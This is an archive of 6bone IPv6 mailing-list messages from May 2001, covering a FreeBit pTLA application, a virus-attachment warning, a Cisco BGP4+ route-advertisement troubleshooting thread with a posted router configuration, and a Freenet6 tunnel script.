>PING6(56=40+8+8 bytes) 3ffe:8085:0:1:2d0:b7ff:fe8f:6a6a --> 
>3ffe:8085:0:1:2d0:b7
>ff:fe8f:6f33
>16 bytes from 3ffe:8085:0:1:2d0:b7ff:fe8f:6f33, icmp_seq=0 hlim=64 
>time=0.224 ms
>^C
>--- www.freebit.com ping6 statistics ---
>1 packets transmitted, 1 packets received, 0% packet loss
>round-trip min/avg/max = 0.224/0.224/0.224 ms
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>admin-c:      TI199
>admin-c:      WY1-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>noc@FreeBit.NET
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>  We FreeBit.Com Co.,Ltd. are a national ISP at Japan. Our customers are
>mainly individual and some corporation.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>Yes, I commit and agree.

-end




From 6bone-owner  Wed May  9 06:01:34 2001
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From: horape@tinuviel.compendium.net.ar
To: 6bone@ISI.EDU
Subject: [aocl07711@cableinet.co.uk: Re: Re: Sprint DNS announcement]
Message-ID: <20010509100129.A11710@tinuviel.compendium.net.ar>
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Warning! I´ve received this as answer to a mail to the list with a
virus attached. If you receive it it, don´t open.

----- Forwarded message from "A. Hakeem" <aocl07711@cableinet.co.uk> -----

From: "A. Hakeem" <aocl07711@cableinet.co.uk>
To: <horape@tinuviel.compendium.net.ar>
Subject: Re: Re: Sprint DNS announcement  
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
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'horape@tinuviel.compendium.net.ar' wrote:
====
- ¡Hola!
- 
- Just to remember you to delegate 1.a.9.2.e.f.f.3.ip6.int to
- 
- 1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      puntoar-sgi01.puntoar.net.ar.
- 1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      alatariel.puntoar.net.ar.
- 1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      tinuviel.compendium.com.ar.
- 1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      lutien.compendium.com.ar.
- 
- Thanks,
- 					HoraPe
- 
- On Tue, May 08, 2001 at 03:15:22P ...'


> Take a look to the attachment. 





----- End forwarded message -----

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Wed May  9 06:08:58 2001
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From: "John M Cole" <jmcole@lucent.com>
To: <6bone@ISI.EDU>
Subject: Packet Generators
Date: Wed, 9 May 2001 14:05:42 -0000
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Apart from Agilent, who haven't yet released a V6 version, does anyone =
know of a Packet generator and receiver test suite, for IPv6?  I am =
looking at testing some hardware/software (Routers) and require =
statistics on IP traffic.

Regards

John

------=_NextPart_000_0320_01C0D891.222A02D0
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3105.105" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Apart from Agilent, who haven't yet =
released a V6=20
version, does anyone know of a Packet generator and receiver&nbsp;test =
suite,=20
for IPv6?&nbsp; I am looking at testing some hardware/software (Routers) =
and=20
require statistics on IP traffic.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>John</FONT></DIV></BODY></HTML>

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From 6bone-owner  Wed May  9 09:12:03 2001
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From: "Burgess,David B." <burgess@mitre.org>
To: "John M Cole" <jmcole@lucent.com>, <6bone@ISI.EDU>
Subject: RE: Packet Generators
Date: Wed, 9 May 2001 11:04:29 -0500
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While I don't have a good packet generator system for you, NeTraMet is
available for statistics on IP v6 (and v4) traffic.
  -----Original Message-----
  From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of John M
Cole
  Sent: Wednesday, May 09, 2001 9:06 AM
  To: 6bone@ISI.EDU
  Subject: Packet Generators


  Apart from Agilent, who haven't yet released a V6 version, does anyone
know of a Packet generator and receiver test suite, for IPv6?  I am looking
at testing some hardware/software (Routers) and require statistics on IP
traffic.

  Regards

  John

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D080170316-09052001>While=20
I don't have a good packet generator system for you, NeTraMet is =
available for=20
statistics on IP v6 (and v4) traffic.</SPAN></FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
owner-6bone@ISI.EDU=20
  [mailto:owner-6bone@ISI.EDU]<B>On Behalf Of </B>John M =
Cole<BR><B>Sent:</B>=20
  Wednesday, May 09, 2001 9:06 AM<BR><B>To:</B> =
6bone@ISI.EDU<BR><B>Subject:</B>=20
  Packet Generators<BR><BR></FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Apart from Agilent, who haven't yet =
released a V6=20
  version, does anyone know of a Packet generator and receiver&nbsp;test =
suite,=20
  for IPv6?&nbsp; I am looking at testing some hardware/software =
(Routers) and=20
  require statistics on IP traffic.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Regards</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial =
size=3D2>John</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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From 6bone-owner  Fri May 11 02:16:59 2001
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Date: Fri, 11 May 2001 02:17:01 -0700 (PDT)
From: Sohail Ghaffar Rao <sohail_rao@yahoo.com>
Subject: problem in BGP4+
To: 6bone@ISI.EDU
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Dear group,

Can anyone help me why cant I advertise any routes via
BGP4+. There is no problem in receiving prefixes
though. Following is my configuration. The hardware is
a Cisco 7206 router.

IPv6-gw#sh run
Building configuration...

Current configuration : 1700 bytes
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname IPv6-gw
!
logging rate-limit console 10 except errors
enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
ipv6 unicast-routing
no mgcp timer receive-rtcp
call rsvp-sync
!
!
!
!
!
!
!
!
!
interface Tunnel0
 description tunnel to sprint 3ffe:2900:a:d::1
rrockel@sprint.net
 no ip address
 ipv6 enable
 ipv6 address 3FFE:2900:A:D::2/64
 tunnel source 217.31.228.62
 tunnel destination 208.19.223.30
 tunnel mode ipv6ip
!
interface Tunnel1
 description tunnel to viagenie 3ffe:b00:c18::84
ipv6@viagenie.qc.ca
 no ip address
 ipv6 enable
 ipv6 address 3FFE:B00:C18::85/64
 tunnel source 217.31.228.62
 tunnel destination 206.123.31.101
 tunnel mode ipv6ip
!
interface FastEthernet0/0
 no ip address
 shutdown
 duplex half
!
interface FastEthernet1/0
 ip address 217.31.228.93 255.255.255.224
 duplex full
!
interface FastEthernet3/0
 description IPv6 domain interface
 ip address 217.31.228.62 255.255.255.240
 duplex half
 ipv6 address 3FFE:2900:A00D:1::1/64
!
router bgp 15897
 no bgp default ipv4-unicast
 bgp log-neighbor-changes
 neighbor 3FFE:B00:C18::84 remote-as 10566
 !
 address-family ipv6
 neighbor 3FFE:B00:C18::84 activate
 network 3FFE:2900:A00D::/48
 exit-address-family
!
ip classless
ip route 0.0.0.0 0.0.0.0 217.31.228.94
no ip http server
!
ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1
ipv6 route ::/0 3FFE:B00:C18::84
!
!
!
!
!
gatekeeper
 shutdown
!
!
line con 0
 transport input none
line aux 0
line vty 0 4
 password $1$5d01$F426.pKlZweJnP2QMgemo1
 login
line vty 5 15
 login
!
!
end



__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/

From 6bone-owner  Fri May 11 03:14:57 2001
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Date: Fri, 11 May 2001 11:07:34 +0100
To: Sohail Ghaffar Rao <sohail_rao@yahoo.com>
From: Trevor Warwick <twarwick@cisco.com>
Subject: Re: problem in BGP4+
Cc: 6bone@ISI.EDU, ipv6-support@cisco.com
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Sohail,

Please contact ipv6-support@cisco.com for questions about Cisco IOS IPv6 
EFT software.

Thanks,

Trevor

At 11/05/2001, Sohail Ghaffar Rao wrote:
 >Dear group,
 >
 >Can anyone help me why cant I advertise any routes via
 >BGP4+. There is no problem in receiving prefixes
 >though. Following is my configuration. The hardware is
 >a Cisco 7206 router.
 >
 >IPv6-gw#sh run
 >Building configuration...
 >
 >Current configuration : 1700 bytes
 >!
 >version 12.2
 >no service single-slot-reload-enable
 >service timestamps debug uptime
 >service timestamps log uptime
 >no service password-encryption
 >!
 >hostname IPv6-gw
 >!
 >logging rate-limit console 10 except errors
 >enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1
 >!
 >ip subnet-zero
 >!
 >!
 >no ip finger
 >!
 >no ip dhcp-client network-discovery
 >ipv6 unicast-routing
 >no mgcp timer receive-rtcp
 >call rsvp-sync
 >!
 >!
 >!
 >!
 >!
 >!
 >!
 >!
 >!
 >interface Tunnel0
 > description tunnel to sprint 3ffe:2900:a:d::1
 >rrockel@sprint.net
 > no ip address
 > ipv6 enable
 > ipv6 address 3FFE:2900:A:D::2/64
 > tunnel source 217.31.228.62
 > tunnel destination 208.19.223.30
 > tunnel mode ipv6ip
 >!
 >interface Tunnel1
 > description tunnel to viagenie 3ffe:b00:c18::84
 >ipv6@viagenie.qc.ca
 > no ip address
 > ipv6 enable
 > ipv6 address 3FFE:B00:C18::85/64
 > tunnel source 217.31.228.62
 > tunnel destination 206.123.31.101
 > tunnel mode ipv6ip
 >!
 >interface FastEthernet0/0
 > no ip address
 > shutdown
 > duplex half
 >!
 >interface FastEthernet1/0
 > ip address 217.31.228.93 255.255.255.224
 > duplex full
 >!
 >interface FastEthernet3/0
 > description IPv6 domain interface
 > ip address 217.31.228.62 255.255.255.240
 > duplex half
 > ipv6 address 3FFE:2900:A00D:1::1/64
 >!
 >router bgp 15897
 > no bgp default ipv4-unicast
 > bgp log-neighbor-changes
 > neighbor 3FFE:B00:C18::84 remote-as 10566
 > !
 > address-family ipv6
 > neighbor 3FFE:B00:C18::84 activate
 > network 3FFE:2900:A00D::/48
 > exit-address-family
 >!
 >ip classless
 >ip route 0.0.0.0 0.0.0.0 217.31.228.94
 >no ip http server
 >!
 >ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1
 >ipv6 route ::/0 3FFE:B00:C18::84
 >!
 >!
 >!
 >!
 >!
 >gatekeeper
 > shutdown
 >!
 >!
 >line con 0
 > transport input none
 >line aux 0
 >line vty 0 4
 > password $1$5d01$F426.pKlZweJnP2QMgemo1
 > login
 >line vty 5 15
 > login
 >!
 >!
 >end
 >
 >
 >
 >__________________________________________________
 >Do You Yahoo!?
 >Yahoo! Auctions - buy the things you want at great prices
 >http://auctions.yahoo.com/


From 6bone-owner  Fri May 11 05:45:27 2001
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Date: Fri, 11 May 2001 12:46:02 +0200
From: Jean-Claude Christophe <jch@oleane.net>
To: Sohail Ghaffar Rao <sohail_rao@yahoo.com>
Cc: 6bone@ISI.EDU
Subject: Re: problem in BGP4+
Message-ID: <20010511124602.A96007@oleane.net>
References: <20010511091701.16022.qmail@web12907.mail.yahoo.com>
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> Dear group,
> 
> Can anyone help me why cant I advertise any routes via
> BGP4+. There is no problem in receiving prefixes
> though. Following is my configuration. The hardware is
> a Cisco 7206 router.

The goal of BGP is to reditribute route. There are no 'redistribute in
your BGP configuration', you have to add it.
Make a global route 'ipv6 route 3FFE:2900:A00D::/48 Null0 254'
and add 'redistribute static' in your BGP configuration.

> !
> router bgp 15897
>  no bgp default ipv4-unicast
>  bgp log-neighbor-changes
>  neighbor 3FFE:B00:C18::84 remote-as 10566
>  !
>  address-family ipv6
>  neighbor 3FFE:B00:C18::84 activate
>  network 3FFE:2900:A00D::/48
>  exit-address-family

Regards,
-- 
Jean-Claude Christophe / jch@oleane.net / France Telecom Transpac

From 6bone-owner  Fri May 11 06:33:08 2001
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Message-ID: <002d01c0da1f$85bbc290$b3046aca@hmobile>
From: "Hua Ning" <nhua@biigroup.com>
To: "Sohail Ghaffar Rao" <sohail_rao@yahoo.com>
Cc: <6bone@ISI.EDU>
References: <20010511091701.16022.qmail@web12907.mail.yahoo.com>
Subject: Re: problem in BGP4+
Date: Fri, 11 May 2001 21:37:22 +0800
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hi , 
I suppose you forget to define the prefix-list  .
Pls add the two line following.

 neighbor 3FFE:B00:C18::84  prefix-list viagenia-in in
 neighbor 3FFE:B00:C18::84  prefix-list viagenia-out out

Good luck
_________________________________________________
    Hua Ning
    Chief Engineer
    BII Group Holdings Ltd(Beijing Internet-networking Institute),
    110E 11F China Merchants Tower,
    No.2 Dong Huan Nan Lu, Chao Yang District,
    Beijing,China
    Zip Code: 100022
    Tel:+86-10-65660290-223
    Fax:+86-10-65660297
_________________________________________________
----- Original Message ----- 
From: "Sohail Ghaffar Rao" <sohail_rao@yahoo.com>
To: <6bone@ISI.EDU>
Sent: Friday, May 11, 2001 5:17 PM
Subject: problem in BGP4+


> Dear group,
> 
> Can anyone help me why cant I advertise any routes via
> BGP4+. There is no problem in receiving prefixes
> though. Following is my configuration. The hardware is
> a Cisco 7206 router.
> 
> IPv6-gw#sh run
> Building configuration...
> 
> Current configuration : 1700 bytes
> !
> version 12.2
> no service single-slot-reload-enable
> service timestamps debug uptime
> service timestamps log uptime
> no service password-encryption
> !
> hostname IPv6-gw
> !
> logging rate-limit console 10 except errors
> enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1
> !
> ip subnet-zero
> !
> !
> no ip finger
> !
> no ip dhcp-client network-discovery
> ipv6 unicast-routing
> no mgcp timer receive-rtcp
> call rsvp-sync
> !
> !
> !
> !
> !
> !
> !
> !
> !
> interface Tunnel0
>  description tunnel to sprint 3ffe:2900:a:d::1
> rrockel@sprint.net
>  no ip address
>  ipv6 enable
>  ipv6 address 3FFE:2900:A:D::2/64
>  tunnel source 217.31.228.62
>  tunnel destination 208.19.223.30
>  tunnel mode ipv6ip
> !
> interface Tunnel1
>  description tunnel to viagenie 3ffe:b00:c18::84
> ipv6@viagenie.qc.ca
>  no ip address
>  ipv6 enable
>  ipv6 address 3FFE:B00:C18::85/64
>  tunnel source 217.31.228.62
>  tunnel destination 206.123.31.101
>  tunnel mode ipv6ip
> !
> interface FastEthernet0/0
>  no ip address
>  shutdown
>  duplex half
> !
> interface FastEthernet1/0
>  ip address 217.31.228.93 255.255.255.224
>  duplex full
> !
> interface FastEthernet3/0
>  description IPv6 domain interface
>  ip address 217.31.228.62 255.255.255.240
>  duplex half
>  ipv6 address 3FFE:2900:A00D:1::1/64
> !
> router bgp 15897
>  no bgp default ipv4-unicast
>  bgp log-neighbor-changes
>  neighbor 3FFE:B00:C18::84 remote-as 10566
>  !
>  address-family ipv6
>  neighbor 3FFE:B00:C18::84 activate
>  network 3FFE:2900:A00D::/48
>  exit-address-family
> !
> ip classless
> ip route 0.0.0.0 0.0.0.0 217.31.228.94
> no ip http server
> !
> ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1
> ipv6 route ::/0 3FFE:B00:C18::84
> !
> !
> !
> !
> !
> gatekeeper
>  shutdown
> !
> !
> line con 0
>  transport input none
> line aux 0
> line vty 0 4
>  password $1$5d01$F426.pKlZweJnP2QMgemo1
>  login
> line vty 5 15
>  login
> !
> !
> end
> 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Auctions - buy the things you want at great prices
> http://auctions.yahoo.com/
> 

From 6bone-owner  Fri May 11 07:21:26 2001
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
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Date: Fri, 11 May 2001 16:21:21 +0200
To: Sohail Ghaffar Rao <sohail_rao@yahoo.com>
Cc: 6bone@ISI.EDU
Subject: problem in BGP4+
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Sohail Ghaffar Rao writes:
 > Can anyone help me why cant I advertise any routes via
 > BGP4+.

Add

	ipv6 route 3FFE:2900:A00D::/48 null0

But make sure that you know that you really want to advertise a /48
prefix.

Robert

From 6bone-owner  Fri May 11 07:37:08 2001
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Date: Fri, 11 May 2001 17:36:49 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Sohail Ghaffar Rao <sohail_rao@yahoo.com>
cc: <6bone@ISI.EDU>
Subject: Re: problem in BGP4+
In-Reply-To: <20010511091701.16022.qmail@web12907.mail.yahoo.com>
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On Fri, 11 May 2001, Sohail Ghaffar Rao wrote:
> Dear group,
>
> Can anyone help me why cant I advertise any routes via
> BGP4+. There is no problem in receiving prefixes
> though. Following is my configuration. The hardware is
> a Cisco 7206 router.

Your BGP neighbor isn't on the connected interface, but farther away.

You probably need an ebgp-multihop definition.  Next-hop-self might not be
a bad idea either.  See Cisco BGP documentation.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri May 11 07:53:03 2001
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Date: Fri, 11 May 2001 16:52:53 +0200
From: Miguel Angel Sotos - NOC <miguel.sotos@rediris.es>
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To: Sohail Ghaffar Rao <sohail_rao@yahoo.com>
CC: 6bone@ISI.EDU
Subject: Re: problem in BGP4+
References: <20010511091701.16022.qmail@web12907.mail.yahoo.com>
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Sohail Ghaffar Rao wrote:
> 
> Dear group,
> 
> Can anyone help me why cant I advertise any routes via
> BGP4+. There is no problem in receiving prefixes
> though. Following is my configuration. The hardware is
> a Cisco 7206 router.
> 
Is the neighbor a CISCO router?

If it's an Ericcson-Telebit router you have to add:

 neighbor x:x:x:x:x:x:x:x override-capability-neg

(I don't know  if it works with other kind of routers...)

--
Miguel Sotos

From 6bone-owner  Fri May 11 07:56:21 2001
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Date: Fri, 11 May 2001 16:57:04 +0200
From: Jesper Skriver <jesper@skriver.dk>
To: Sohail Ghaffar Rao <sohail_rao@yahoo.com>
Cc: 6bone@ISI.EDU
Subject: Re: problem in BGP4+
Message-ID: <20010511165704.B30468@skriver.dk>
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X-PGP-Fingerprint: 6B88 9CE8 66E9 E631 C9C5  5EB4 22AB F0EC F956 1C31
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For network commands to work, you need a explicit match, as you do with
IPv4

ipv6 route 3FFE:2900:A00D::/48 null0

should do it

/Jesper

On Fri, May 11, 2001 at 02:17:01AM -0700, Sohail Ghaffar Rao wrote:
> Dear group,
> 
> Can anyone help me why cant I advertise any routes via
> BGP4+. There is no problem in receiving prefixes
> though. Following is my configuration. The hardware is
> a Cisco 7206 router.
> 
> IPv6-gw#sh run
> Building configuration...
> 
> Current configuration : 1700 bytes
> !
> version 12.2
> no service single-slot-reload-enable
> service timestamps debug uptime
> service timestamps log uptime
> no service password-encryption
> !
> hostname IPv6-gw
> !
> logging rate-limit console 10 except errors
> enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1
> !
> ip subnet-zero
> !
> !
> no ip finger
> !
> no ip dhcp-client network-discovery
> ipv6 unicast-routing
> no mgcp timer receive-rtcp
> call rsvp-sync
> !
> !
> !
> !
> !
> !
> !
> !
> !
> interface Tunnel0
>  description tunnel to sprint 3ffe:2900:a:d::1
> rrockel@sprint.net
>  no ip address
>  ipv6 enable
>  ipv6 address 3FFE:2900:A:D::2/64
>  tunnel source 217.31.228.62
>  tunnel destination 208.19.223.30
>  tunnel mode ipv6ip
> !
> interface Tunnel1
>  description tunnel to viagenie 3ffe:b00:c18::84
> ipv6@viagenie.qc.ca
>  no ip address
>  ipv6 enable
>  ipv6 address 3FFE:B00:C18::85/64
>  tunnel source 217.31.228.62
>  tunnel destination 206.123.31.101
>  tunnel mode ipv6ip
> !
> interface FastEthernet0/0
>  no ip address
>  shutdown
>  duplex half
> !
> interface FastEthernet1/0
>  ip address 217.31.228.93 255.255.255.224
>  duplex full
> !
> interface FastEthernet3/0
>  description IPv6 domain interface
>  ip address 217.31.228.62 255.255.255.240
>  duplex half
>  ipv6 address 3FFE:2900:A00D:1::1/64
> !
> router bgp 15897
>  no bgp default ipv4-unicast
>  bgp log-neighbor-changes
>  neighbor 3FFE:B00:C18::84 remote-as 10566
>  !
>  address-family ipv6
>  neighbor 3FFE:B00:C18::84 activate
>  network 3FFE:2900:A00D::/48
>  exit-address-family
> !
> ip classless
> ip route 0.0.0.0 0.0.0.0 217.31.228.94
> no ip http server
> !
> ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1
> ipv6 route ::/0 3FFE:B00:C18::84
> !
> !
> !
> !
> !
> gatekeeper
>  shutdown
> !
> !
> line con 0
>  transport input none
> line aux 0
> line vty 0 4
>  password $1$5d01$F426.pKlZweJnP2QMgemo1
>  login
> line vty 5 15
>  login
> !
> !
> end
> 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Auctions - buy the things you want at great prices
> http://auctions.yahoo.com/
> 

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456
Work:    Network manager   @ AS3292 (Tele Danmark DataNetworks)
Private: FreeBSD committer @ AS2109 (A much smaller network ;-)

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From 6bone-owner  Fri May 11 09:11:13 2001
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Date: Fri, 11 May 2001 18:05:51 +0200
From: Antoine Versini <aversini@isdnet.net>
Organization: CW isdnet
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To: 6bone@ISI.EDU
Subject: Re: problem in BGP4+
References: <20010511091701.16022.qmail@web12907.mail.yahoo.com> <15099.62817.783668.393318@doncamillo.local.easynet.de>
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Robert Kiessling wrote:
> 
> Sohail Ghaffar Rao writes:
>  > Can anyone help me why cant I advertise any routes via
>  > BGP4+.
> 
> Add
> 
>         ipv6 route 3FFE:2900:A00D::/48 null0
> 
> But make sure that you know that you really want to advertise a /48
> prefix.

Most pTLA core routers will filter this, anyway.

-- 
Antoine Versini - aversini@isdnet.net / antoine.versini@cw.com
Cable & Wireless Europe Global Network Operations: Network Build
Cable & Wireless France: Backbone deployement project manager

From 6bone-owner  Sat May 12 07:08:43 2001
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: Successful activation of the script from Freenet (Repost)
Date: Sat, 12 May 2001 10:08:07 -0400
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Hello from Gregg C Levine normally with Jedi Knight Computers
I just succeded in running the script supplied by Freenet, on my Linux
setup. It is a Slackware based one.
-------------------
Gregg C Levine mailto:hansolofalcon@att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps
one of the most powerful of all of the Jedi Knights))
(This company dedicates this E-Mail to Master Yoda
(Perhaps the other one of the most powerful of all of the Jedi
Knights))
And the favorite line by Anonymous "May the Force be with you."


From 6bone-owner  Sat May 12 14:03:30 2001
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Date: Sat, 12 May 2001 18:03:29 -0300 (ADT)
From: Thomas Keats <tkeats@rainbowcomputersystems.com>
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To: Gregg C Levine <hansolofalcon@worldnet.att.net>
cc: 6bone Mail List <6bone@ISI.EDU>
Subject: Re: Successful activation of the script from Freenet (Repost)
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which script would this one be??? and where can i find it?


Thomas


Rainbow Computer Systems
http://www.rainbowcomputersystems.com
Your source for Linux Compatible Hardware.

-------- Compatibility Statement. --------

We read formats created in .txt wordperfect,
and MSWord97 or earlier, all other communications 
will be filtered out and 'misplaced'
Thank you for your co-operation.


On Sat, 12 May 2001, Gregg C Levine wrote:

> Hello from Gregg C Levine normally with Jedi Knight Computers
> I just succeded in running the script supplied by Freenet, on my Linux
> setup. It is a Slackware based one.
> -------------------
> Gregg C Levine mailto:hansolofalcon@att.net
> ------------------------------------------------------------
> "The Force will be with you...Always." Obi-Wan Kenobi
> "Use the Force, Luke."  Obi-Wan Kenobi
> (This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps
> one of the most powerful of all of the Jedi Knights))
> (This company dedicates this E-Mail to Master Yoda
> (Perhaps the other one of the most powerful of all of the Jedi
> Knights))
> And the favorite line by Anonymous "May the Force be with you."
> 


From 6bone-owner  Sat May 12 17:57:09 2001
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: Re: Successful activation of the script from Freenet (Repost)
Date: Sat, 12 May 2001 20:56:33 -0400
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Hello from Gregg C Levine still with Jedi Knight Computers
(Reposting because the list is taking a slow route!)
 I should have mentioned this fact earlier but here it
goes anyway. That script gets generated by the folks at
Freenet, via the website at www.freenet6.net . Follow the
instructions there regarding registration. Save then run
the perl script it will return. Make certain that the
module for IPv6 has been previously loaded before
continuing. I suggest doing this before connecting via
your service provider.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
<<This script will selfdestruct in two timeparts.>>
> which script would this one be??? and where can i find it?
>
>
> Thomas
>
>
> Rainbow Computer Systems
> http://www.rainbowcomputersystems.com
> Your source for Linux Compatible Hardware.
>
> -------- Compatibility Statement. --------
>
> We read formats created in .txt wordperfect,
> and MSWord97 or earlier, all other communications
> will be filtered out and 'misplaced'
> Thank you for your co-operation.
>
>
> On Sat, 12 May 2001, Gregg C Levine wrote:
>
> > Hello from Gregg C Levine normally with Jedi Knight Computers
> > I just succeded in running the script supplied by Freenet, on my
Linux
> > setup. It is a Slackware based one.
> > -------------------
> > Gregg C Levine mailto:hansolofalcon@att.net
> > ------------------------------------------------------------
> > "The Force will be with you...Always." Obi-Wan Kenobi
> > "Use the Force, Luke."  Obi-Wan Kenobi
> > (This company dedicates this E-Mail to General Obi-Wan Kenobi
(Perhaps
> > one of the most powerful of all of the Jedi Knights))
> > (This company dedicates this E-Mail to Master Yoda
> > (Perhaps the other one of the most powerful of all of the Jedi
> > Knights))
> > And the favorite line by Anonymous "May the Force be with you."
> >
>



From 6bone-owner  Sat May 12 22:03:13 2001
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From: Thomas Keats <tkeats@rainbowcomputersystems.com>
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To: Gregg C Levine <hansolofalcon@worldnet.att.net>
cc: 6bone Mail List <6bone@ISI.EDU>
Subject: Re: Successful activation of the script from Freenet (Repost)
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whoa nelly,

'i been spammed'



Rainbow Computer Systems
http://www.rainbowcomputersystems.com
Your source for Linux Compatible Hardware.

-------- Compatibility Statement. --------

We read formats created in .txt wordperfect,
and MSWord97 or earlier, all other communications 
will be filtered out and 'misplaced'
Thank you for your co-operation.


On Sat, 12 May 2001, Gregg C Levine wrote:

> Hello from Gregg C Levine still with Jedi Knight Computers
> (Reposting because the list is taking a slow route!)
>  I should have mentioned this fact earlier but here it
> goes anyway. That script gets generated by the folks at
> Freenet, via the website at www.freenet6.net . Follow the
> instructions there regarding registration. Save then run
> the perl script it will return. Make certain that the
> module for IPv6 has been previously loaded before
> continuing. I suggest doing this before connecting via
> your service provider.
> Gregg C Levine mailto:hansolofalcon@worldnet.att.net
> <<This script will selfdestruct in two timeparts.>>
> > which script would this one be??? and where can i find it?
> >
> >
> > Thomas
> >
> >
> > Rainbow Computer Systems
> > http://www.rainbowcomputersystems.com
> > Your source for Linux Compatible Hardware.
> >
> > -------- Compatibility Statement. --------
> >
> > We read formats created in .txt wordperfect,
> > and MSWord97 or earlier, all other communications
> > will be filtered out and 'misplaced'
> > Thank you for your co-operation.
> >
> >
> > On Sat, 12 May 2001, Gregg C Levine wrote:
> >
> > > Hello from Gregg C Levine normally with Jedi Knight Computers
> > > I just succeded in running the script supplied by Freenet, on my
> Linux
> > > setup. It is a Slackware based one.
> > > -------------------
> > > Gregg C Levine mailto:hansolofalcon@att.net
> > > ------------------------------------------------------------
> > > "The Force will be with you...Always." Obi-Wan Kenobi
> > > "Use the Force, Luke."  Obi-Wan Kenobi
> > > (This company dedicates this E-Mail to General Obi-Wan Kenobi
> (Perhaps
> > > one of the most powerful of all of the Jedi Knights))
> > > (This company dedicates this E-Mail to Master Yoda
> > > (Perhaps the other one of the most powerful of all of the Jedi
> > > Knights))
> > > And the favorite line by Anonymous "May the Force be with you."
> > >
> >
> 
> 


From 6bone-owner  Sun May 13 21:16:51 2001
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From 6bone-owner  Mon May 14 00:12:47 2001
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remove 


 

From 6bone-owner  Mon May 14 02:07:16 2001
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From: Gubanec Marko    RDEC <gubanec@iskratel.si>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: remove
Date: Mon, 14 May 2001 11:05:43 +0200
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remove

From 6bone-owner  Mon May 14 03:26:48 2001
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From: Rui Duarte Roccazzella <Roccazzella@oni.pt>
To: 6bone@ISI.EDU
Subject:  remove
Date: Mon, 14 May 2001 11:16:06 +0100
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remove 


 

